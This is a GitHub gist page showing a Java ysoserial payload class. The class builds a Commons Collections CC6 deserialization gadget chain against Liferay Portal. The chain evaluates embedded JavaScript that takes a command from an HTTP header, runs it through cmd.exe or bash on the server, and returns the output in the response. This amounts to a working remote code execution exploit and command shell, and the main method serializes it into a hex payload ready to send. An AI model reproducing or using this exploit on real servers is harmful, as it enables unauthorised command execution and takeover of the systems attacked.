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curiositysec/LiferayJsonEvalCC6.java

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Created March 30, 2020 13:36
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  1. @testanull testanull created this gist Mar 27, 2020.
    121 changes: 121 additions & 0 deletions LiferayJsonEvalCC6.java
    View file
    Original file line number Diff line number Diff line change
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    package ysoserial.payloads;

    import com.mchange.lang.ByteUtils;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.util.PayloadRunner;

    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.io.PrintStream;
    import java.io.Serializable;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;

    @Dependencies({"commons-collections:commons-collections:3.2.1"})
    @Authors({Authors.MATTHIASKAISER, Authors.JANG})
    public class LiferayJsonEvalCC6 extends PayloadRunner implements ObjectPayload<Serializable> {
    public Serializable getObject(String command) throws Exception {
    String dropper = "var currentThread = com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();\n" +
    "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
    "var request = currentThread.getRequest();\n" +
    "var _req = org.apache.catalina.connector.RequestFacade.class.getDeclaredField(\"request\");\n" +
    "_req.setAccessible(true);\n" +
    "var realRequest = _req.get(request);\n" +
    "var response = realRequest.getResponse();\n" +
    "var outputStream = response.getOutputStream();\n" +
    "var cmd = new java.lang.String(request.getHeader(\"" + command + "\"));\n" +
    "var listCmd = new java.util.ArrayList();\n" +
    "var p = new java.lang.ProcessBuilder();\n" +
    "if(isWin){\n" +
    " p.command(\"cmd.exe\", \"/c\", cmd);\n" +
    "}else{\n" +
    " p.command(\"bash\", \"-c\", cmd);\n" +
    "}\n" +
    "p.redirectErrorStream(true);\n" +
    "var process = p.start();\n" +
    "var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());\n" +
    "var bufferedReader = new java.io.BufferedReader(inputStreamReader);\n" +
    "var line = \"\";\n" +
    "var fullText = \"\";\n" +
    "while((line = bufferedReader.readLine()) != null){\n" +
    " fullText = fullText + line + \"\\n\";\n" +
    "}\n" +
    "var bytes = fullText.getBytes(\"UTF-8\");\n" +
    "outputStream.write(bytes);\n" +
    "outputStream.close();\n";
    String[] execArgs = new String[]{dropper};
    Transformer[] transformers = new Transformer[]{new ConstantTransformer(javax.script.ScriptEngineManager.class),
    new InvokerTransformer("newInstance", new Class[]{},
    new Object[]{}),
    new InvokerTransformer("getEngineByName", new Class[]{String.class},
    new Object[]{"JavaScript"}),
    new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;

    try {
    f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException var18) {
    f = HashSet.class.getDeclaredField("backingMap");
    }

    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);
    Field f2 = null;

    try {
    f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException var17) {
    f2 = HashMap.class.getDeclaredField("elementData");
    }

    f2.setAccessible(true);
    Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
    Object node = array[0];
    if (node == null) {
    node = array[1];
    }

    Field keyField = null;

    try {
    keyField = node.getClass().getDeclaredField("key");
    } catch (Exception var16) {
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    keyField.setAccessible(true);
    keyField.set(node, entry);
    return map;
    }

    public static void main(String[] args) throws Exception {
    PrintStream out = System.out;
    LiferayJsonEvalCC6 cc6Eval = new LiferayJsonEvalCC6();
    ObjectPayload payload = LiferayJsonEvalCC6.class.newInstance();
    Object object = cc6Eval.getObject("cmd2");
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(byteArrayOutputStream);
    objOut.writeObject(object);

    String hexDmp = ByteUtils.toHexAscii(byteArrayOutputStream.toByteArray());
    System.out.println(hexDmp);

    ObjectPayload.Utils.releasePayload(payload, object);
    // PayloadRunner.run(LiferayJsonEvalCC6.class, args);
    }
    }